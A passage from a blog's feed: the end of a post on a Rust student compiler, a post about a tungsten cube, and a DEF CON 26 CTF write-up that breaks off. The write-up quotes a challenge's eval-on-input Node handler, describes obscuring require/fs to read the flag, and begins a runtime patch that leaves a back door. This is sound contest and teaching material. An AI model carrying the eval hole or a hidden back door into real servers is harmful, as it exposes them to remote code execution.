            &lt;span class=&quot;nd&quot;&gt;write!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{:#?} =&amp;gt; {:#?}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nd&quot;&gt;write!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{:?}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// only print the raw if not resolved yet&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;reference-counting&quot;&gt;Reference counting&lt;/h3&gt;

&lt;p&gt;In a number of different places, especially the class hierarchy checking and type checking phases, a lot of things needed to have the same pieces of information propagated to them. For example types bubbling up an expression or inherited methods bubbling down a tree. In a language like Java we’d just have multiple references to the same object, but in Rust for ownership reasons we couldn’t do that straightforwardly. We started out in some places by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clone&lt;/code&gt;ing things which worked fine, but I realized I could just switch everything to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rc&lt;/code&gt; to allow sharing.&lt;/p&gt;

&lt;p&gt;I had an interesting moment where I thought “man it sucks that this code has to do all this reference count manipulation, that’s unnecessarily slow, maybe I should refactor this to use an arena or something”. Then I realized that if I had been writing in Swift I wouldn’t have given this a second thought because &lt;em&gt;everything&lt;/em&gt; would be ref-counted, and even worse than the Rust version, &lt;em&gt;atomically&lt;/em&gt; ref-counted. Writing code in Rust makes me feel like I have an obligation to make code as fast as possible in a way other languages don’t, just by surfacing the costs better. Sometimes I need to remind myself that actually it’s fast enough already.&lt;/p&gt;

&lt;h2 id=&quot;code-generation&quot;&gt;Code Generation&lt;/h2&gt;

&lt;p&gt;The course requires that we generate textual NASM x86 assembly files. Given that we only need to output to those, we decided we didn’t need an intermediate abstraction for generating assembly, and our code generation stage could just use Rust string formatting. This would make our code simpler, easier and also allow us to more easily include comments in the generated assembly.&lt;/p&gt;

&lt;p&gt;The fact that we preserved source span information through our whole compiler and could generate comments came in handy because we could output comments containing the source expression/statement location for every single generated piece of code. This made it much easier to track down exactly which piece of code was causing a bug.&lt;/p&gt;

&lt;p&gt;A somewhat annoying Rust thing we ran into is that we could find two easy ways of formatting to a string, both of which had an issue:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Requires a Result return type or unwrap, even though it won&apos;t ever fail.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Generates a bunch of garbage error handling LLVM needs to optimize out.&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;writeln!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;mov eax, {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Allocates an intermediate String which it then immediately frees&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;format!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;mov eax, {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My two teammates worked on the initial stages of code generation in parallel and each of them chose a different fork of this tradeoff, and by that close to the end of the course our consistency standards had relaxed, so our code generation has both.&lt;/p&gt;

&lt;h3 id=&quot;usercorn&quot;&gt;Usercorn&lt;/h3&gt;

&lt;p&gt;Our compiler was supposed to output Linux ELF binaries and link to a runtime that made Linux syscalls. However, our entire team used macOS. Rewriting the runtime for macOS would have been somewhat annoying since syscalls aren’t always as easy and well documented on macOS as Linux. It also would have added an annoying delay to running our tests and made the harness more complex if we had to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scp&lt;/code&gt; the binaries to a Linux server or VM.&lt;/p&gt;

&lt;p&gt;I remembered that my internet friend had written a cool tool called &lt;a href=&quot;https://github.com/lunixbochs/usercorn&quot;&gt;usercorn&lt;/a&gt; that used the &lt;a href=&quot;https://www.unicorn-engine.org/&quot;&gt;Unicorn CPU emulator&lt;/a&gt; plus some fanciness to run Linux binaries on macOS as if they were normal macOS binaries (or vice versa and a bunch of other things). It was straightforward to build a self-contained version that I could check into our repository and use in our tests to run our binaries. My teammate then got together a macOS build of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ld&lt;/code&gt; that could link Linux ELF binaries and included it.&lt;/p&gt;

&lt;p&gt;We could also use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;usercorn&lt;/code&gt; to output a trace of all the instructions executed and registers modified by our programs, and this came in handy quite a few times for debugging our code generation.&lt;/p&gt;

&lt;p&gt;I ran into one problem where a test program that did a lot of allocation was 1000x slower under usercorn than on a real Linux server. Luckily I knew the author and I just sent him the offending binary and he quickly figured it was due to an inefficient implementation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brk&lt;/code&gt; syscall which reasonable programs don’t use for every single memory allocation like the runtime the course provided did. He quickly figured out how to make it more efficient and pushed a fix later that evening which solved my problem. He’s pretty awesome, &lt;a href=&quot;https://www.patreon.com/lunixbochs/overview&quot;&gt;subscribe to his Patreon!&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I then shared our pre-compiled bundle of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;usercorn&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ld&lt;/code&gt; (with the bug fix for the assignment tests) with a few other teams I knew who used macOS so they could have an easier time testing as well.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Overall I’m proud of how our compiler turned out. It was a fun project and my teammates were excellent. I also think Rust ended up being a good choice of implementation language, especially the powerful &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enum&lt;/code&gt;s and pattern matching. The main downsides of Rust were the long compile times (although apparently comparable to a group that did their compiler in C++), and the fact that sometimes we had to do somewhat more work to satisfy the borrow checker.&lt;/p&gt;

&lt;p&gt;One of the most interesting learning experiences from the project was when afterwards I talked to some other teams and got to compare what it was like to do the same project in different languages and with different design decisions. I’ll talk about that in an upcoming post!&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>My Tungsten Cube</title>
   <link href="https://thume.ca/2019/03/03/my-tungsten-cube/"/>
   <updated>2019-03-03T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/03/03/my-tungsten-cube</id>
   <content type="html">
&lt;p&gt;A few months ago I bought a featureless cube of tungsten. It’s 1.5 inches across and cost $130, but I argue it was one of the best purchases I’ve made recently.&lt;/p&gt;

&lt;p&gt;Why would I spend so much money on a cube? Well it’s really dense. Tungsten is one of the densest elements, over twice the density of steel. My cube weighs one kilogram despite being pretty small. The first time I held a friend’s tungsten cube I was blown away, it felt like some otherworldy force was pulling the cube down into my hand (spoiler: it was gravity). Whenever I show people my cube they consistently find it really cool and it’s fun to be able to so easily share a unique experience like that.&lt;/p&gt;

&lt;p&gt;Even after the initial surprise wore off, I still find it just really satisfying to hold. Ever hold something with satisfying heft? Well it’s like the platonically purest amplified form of that satisfaction. I keep it on my desk and turn it around in my hands while I’m thinking.&lt;/p&gt;

&lt;p&gt;The cool thing about it being a featureless hunk of extremely hard, durable metal that doesn’t really oxidize away, is that it will last for a long time. I expect I’ll continue getting value out of having this cube on my desk for at least 5 years and probably more. Given how much I fidget with the cube and enjoy owning it, I figure I definitely get more than $2/month worth of value out of it.&lt;/p&gt;

&lt;p&gt;I struggled a lot with deciding to buy a cube. It felt &lt;em&gt;wrong&lt;/em&gt; to spend so much money on a featureless hunk of metal. Money is for buying fancy doo-dads, or large things, or hotel nights, or any number of other things that cost about as much while delivering arguably less value. On the other hand there was something appealing to me about buying an object that was so &lt;em&gt;platonically good&lt;/em&gt;. It was just a really dense cube that I could derive a pure and weird form of satisfaction from holding.&lt;/p&gt;

&lt;p&gt;Anyhow, tungsten cubes, 10/10 would recommend. There’s a reason they have &lt;a href=&quot;https://www.amazon.com/Tungsten-Cube-1-5-One-Kilo/dp/B00XZBIJLS/&quot;&gt;so many 5 star Amazon reviews&lt;/a&gt;. Maybe some day I’ll work up the courage to buy a &lt;a href=&quot;https://www.amazon.com/dp/B01N23DISF/&quot;&gt;$500 one that’s over 10 pounds&lt;/a&gt; like my housemate last term did.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit 2021-08-26:&lt;/strong&gt; Since this is ended up on HN today, I’ll mention that in September of 2019 I bought a 3kg tungsten sphere to add to my collection. It has beautiful turning marks that give it nice &lt;a href=&quot;http://www.neilblevins.com/art_lessons/aniso_ref_real_world/aniso_ref_real_world.htm&quot;&gt;anisotropic reflections&lt;/a&gt;, which the rendering nerd in me appreciates. It’s also really nice to roll around in my hand, and is 3x heavier than my cube. It sits on a very nice walnut stand a coworker made for me on his lathe and CNC router. I still keep the cube on my desk at work though since it’s a better size and shape for casually fidgeting with.&lt;/p&gt;

&lt;p&gt;I got it from &lt;a href=&quot;https://www.alibaba.com/product-detail/metal-shot-tss-tungsten-beads-4mm_62407649356.html&quot;&gt;a custom tungsten products supplier on Alibaba&lt;/a&gt; as a one-off in a custom size, since it was almost half the price of a similar sphere on Amazon, although it did take a while to arrive.&lt;/p&gt;

&lt;p&gt;Here’s a photo of it on my Lichtenberg figure coffee table, which I got on Etsy from a seller who unfortunately doesn’t make them anymore, because they’re amazing:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/tungsten/tungsten_sphere.jpeg&quot; alt=&quot;Tungsten Sphere&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>DEF CON 26 CTF Writeups: reverse, doublethink, bew, reeducation</title>
   <link href="https://thume.ca/2018/08/16/def-con-26-ctf-writeups/"/>
   <updated>2018-08-16T00:00:00+00:00</updated>
   <id>https://thume.ca/2018/08/16/def-con-26-ctf-writeups</id>
   <content type="html">
&lt;p&gt;Recently I flew to Vegas to attend the DEF CON 26 CTF with (&lt;a href=&quot;https://ctftime.org/team/1937&quot;&gt;Samurai&lt;/a&gt;), the team I &lt;a href=&quot;/2018/05/13/winning-def-con-quals-writeups/&quot;&gt;played with when we won the qualifiers&lt;/a&gt;. I had a lot of fun and got very little sleep, working two consecutive 20 hour days and finishing off with another 4 hours of contest at the end.&lt;/p&gt;

&lt;p&gt;As a programmer entering CTF with only a little bit of reverse engineering experience and no exploit development skills, I was happy that the organizers included new King of the Hill format challenges this year, which I found I could contribute nicely to since they tended to mix in more programming with the hacking. I also made sure to spend some time poking around other challenge binaries in Binary Ninja to hone my reverse engineering skills, although I only managed to make a meaningful contribution doing this with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reeducation&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;reverse&quot;&gt;reverse&lt;/h1&gt;

&lt;p&gt;The first challenge released and the first I worked on was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reverse&lt;/code&gt;. It was a service with a client binary and a remote server that presented a curses interface for completing disassembly and assembly puzzles like filling in the line of assembly that matched some bytes of machine code. There were multiple “level”s consisting of a bunch of puzzles, solving them got you points and let you move to the next level, and each level was a new type of puzzle.&lt;/p&gt;

&lt;p&gt;While a few of us in the hotel suite got started on figuring out how we wanted to automate it, people on the floor started solving puzzles manually, then &lt;a href=&quot;https://twitter.com/lunixbochs&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt;&lt;/a&gt; gradually built up a UI automation script that copied data from his terminal, parsed it, ran it through command line (dis)assembler tools and typed the answers.&lt;/p&gt;

&lt;p&gt;Back in the hotel, a couple of us started on parsing the client output out of the VT100 but a teammate figured out the network protocol the client used so we started using that directly. The first level could actually be solved using an info leak that was present in the protocol but didn’t show up in the client, but this didn’t work for level 2 and up.&lt;/p&gt;

&lt;p&gt;We then integrated the solvers for levels 1-4 from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt;’s automation into our script so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; could stop having his computer taken over by UI automation every round.&lt;/p&gt;

&lt;p&gt;We ran into a problem though, we couldn’t get through level 5 since the problems seemed nonsensical and impossible. There just wasn’t enough information in the question to choose the right answer. We realized that there must be some way to cheat to solve it.&lt;/p&gt;

&lt;p&gt;Luckily someone else on our team had been reversing the client and fuzzing the network protocol and had discovered a number of helpful tricks like the ability to not spend the limited “coins” we had to attempt challenges, and to restart a level as much as we wanted. After &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; noted that he saw duplicate assembly lines in his logs and that we should try dumping, I started on a script. I modified our solver Python code to use the protocol tricks to quickly request level 1 problems in a pipelined way to not have to wait for round trips and dump them to a file. Then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; tuned up the script and ran it on the CTF floor dumping thousands of lines of assembly per second, eventually converging around 280k unique lines.&lt;/p&gt;

&lt;p&gt;I then started on using these dumps to write better versions of our solvers (which previously often failed to determine the correct answer) by cheating with the known lines. This allowed us to resolve the difference between say &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call sub_1432&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call sub_2532&lt;/code&gt; without knowing where the procedures were and made our solving simpler and more robust. We also incorporated an underflow bug a teammate discovered from poking at the server that gave us an extra 255 points per question. Unfortunately the dump didn’t give us any clues as to how to solve level 5, and unfortunately the dumped binary didn’t appear to be the server like we’d hoped. At this point the challenge was close to closing so we gave up and started on other problems.&lt;/p&gt;

&lt;p&gt;After the contest we learned from the organizers there was a broken protocol instruction discoverable by fuzzing that allowed you to leak the server binary. You could then find an exploit allowing you to give yourself arbitrarily many points.&lt;/p&gt;

&lt;h1 id=&quot;doublethink&quot;&gt;doublethink&lt;/h1&gt;

&lt;p&gt;This was another King of the Hill challenge, released just before the contest shut down on the first day, it was a fun problem that motivated me to stay up nearly all night.&lt;/p&gt;

&lt;p&gt;The gist of the challenge was that you submitted a single 4KB chunk of binary that you could then execute against a number of different architectures using various emulators, the more architectures you got to print the flag the higher your score. So the goal was to write a polyglot piece of shellcode that opened a flag file and wrote it out on modern architectures, or printed it from a known memory address on older architectures.&lt;/p&gt;

&lt;p&gt;We realized we needed to write flag-printing shellcode for a bunch of architectures separately and then put them together in one blob with a sequence of jump instructions at the front for each architecture jumping to that architecture’s payload, and where all the other architecture’s jumps before it didn’t stop the emulator or jump somewhere unintended. Another interesting twist is that a lot of the old architectures bytes/words with varying numbers of bits, which were just chopped off the file you gave by concatenating all the bytes in binary and chunking.&lt;/p&gt;

&lt;p&gt;We decided to start by developing a bunch of payloads in parallel that we would assemble later. I started with PDP-8, where after reading the instruction reference I found a &lt;a href=&quot;https://bigdanzblog.wordpress.com/2014/05/31/hello-world-program-for-pdp-8-using-pal-assembly-language/&quot;&gt;Hello World program&lt;/a&gt; and &lt;a href=&quot;https://github.com/radekh/palbart&quot;&gt;a matching assembler&lt;/a&gt;. The first challenge was that the output format of the assembler didn’t match the format the challenge wanted, so I had to write a 50 line python script to parse the assembled output and put it together at the bit level (because of the 12 bit bytes). After that I checked it printed Hello World against the provided testing Docker image, then modified the program to print the flag, and made it much shorter.&lt;/p&gt;

&lt;p&gt;I followed a similar process to construct a payload for PDP-10. After a bunch of architecture research and miscellaneous searching I found &lt;a href=&quot;https://github.com/aap/tenth&quot;&gt;an assembler as part of someone’s FORTH project&lt;/a&gt;. I translated a Hello World program I found into that assembler’s syntax and modified the assembler code to print the info I needed, and again wrote a Python script to parse the output and munge the bits into the format we needed, then again modified the program to print the flag.&lt;/p&gt;

&lt;p&gt;By this point other members of my team had written payloads for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clemency&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mix&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amd64&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;riscv&lt;/code&gt; which we considered sufficient to start pulling them together. I started by writing a script to print a file as the bytes of varying bit widths including values in octal (which PDP system ISAs matched well with) so we could debug the jump train. Then I wrote a script to assemble jump sequences and payloads for different architectures at bit-level offsets. Then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; and I worked together for a while and found a sequence of jumps, nops and padding that worked for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amd64&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdp-8&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdp-10&lt;/code&gt; together. After I went to bed a teammate managed to patch in a very short &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mix&lt;/code&gt; shellcode into ours, leaving us with a 4-polyglot for the start the next day.&lt;/p&gt;

&lt;p&gt;The next day I spent a bunch of hours with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; trying to get a working sequence including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;riscv&lt;/code&gt; and failing, and improving tooling and commenting it so others could try integrating more jumps. We mostly failed because things had too many constraints to fit in our head so by the time we thought we were approaching a solution we forgot an earlier constraint and went down a dead end. Eventually a teammate wrote a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdp-1&lt;/code&gt; payload and that ISA had few constraints and slotted pretty easily into our existing jump train, getting us to a 5-polyglot. I then tried and failed to integrate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexagon&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ibm-1401&lt;/code&gt;. By that time the challenge was close to ending and we decided to move on, with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clemency&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexagon&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ibm-1401&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;riscv&lt;/code&gt; payloads unused, which was sad.&lt;/p&gt;

&lt;p&gt;It later turned out that this challenge too was possible to exploit to get an artificially high score, according to the organizers and our later investigation. It was possible to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amd64&lt;/code&gt; shellcode which was run directly (as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nobody&lt;/code&gt;) concurrently from multiple submissions to fake a correct flag printing. This allowed two teams to get “fake” scores of 9 and 11, although PPP (the 2nd place team) did actually create an 8-polyglot.&lt;/p&gt;

&lt;h1 id=&quot;bew&quot;&gt;bew&lt;/h1&gt;

&lt;p&gt;Released just before the end of the second day, this was the next challenge I worked on. It was a web app with a text field you could submit to to add text to a file that was printed on another page.&lt;/p&gt;

&lt;p&gt;While the contest servers were still up, we looked into the source and realized that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;express-validator&lt;/code&gt; dependency had been replaced by an entirely different library using a WebAssembly module compiled with &lt;a href=&quot;https://github.com/kripken/emscripten&quot;&gt;Emscripten&lt;/a&gt;. All inputs to the text file were passed through the validator library before being added to the text file.&lt;/p&gt;

&lt;p&gt;After some theorizing about possible exploits involving using the Emscripten standard library emulation to use the Node &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs&lt;/code&gt; module to get the flag, we noticed on the submissions page that people were submitting exploits involving plain JS code and it seemed to work. We were confused but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; started putting together our own flag retrieval payload that could get past the pre-filters while other members of our team started scraping flags other teams had retrieved with a script.&lt;/p&gt;

&lt;p&gt;Eventually we found that the way the service worked was dumber than we thought. The WebAssembly did some preliminary filtering looking for use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; or the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs&lt;/code&gt; module, then it passed the input to an external handler (below) which just took the input and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;‘d it in the Node server process, and put the input in the text file if it threw an exception. This looked initially like it was rejecting JS and accepting text because most text triggers JS errors. The basic exploits people were using just obscured the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs&lt;/code&gt; use and used that to get the flag and put it in a public place, which we were also scraping without even deploying our own exploit!&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// The handler that the WebAssembly called into&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ASM_CONSTS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Pointer_stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;const fs = require(&quot;fs&quot;);fs.writeFile(&quot;/tmp/test.txt&quot;, &quot;testwrites&quot;)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;WEBASS got &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the contest servers closed for the night, we did some thinking about the challenge. Based on the large number of bytes you were allowed to patch only in the WebAssembly file, it seemed the intended patching solution was to write an actual JS validator, compile it to WASM and patch it in, with functional tests likely verifying that the web app still accepted text and rejected JS. This sounded like a lot of work, so we thought we’d poke around with our full remote code execution some more.&lt;/p&gt;

&lt;p&gt;I realized that I could patch the server dynamically by just reassigning the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASM_CONSTS&lt;/code&gt; variable (in scope!) to not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; the string and either reject or accept all submissions, fully closing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; hole. This would persist until the server was restarted, and based on the persistent text file we knew that the server was kept alive between requests. I eventually refined this into a version that left a back door so that we could still exploit the server if we messed up, and also made sure our exploits (containing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;) couldn’t accidentally end up in the public text file:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;ASM_CONSTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Pointer_stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span 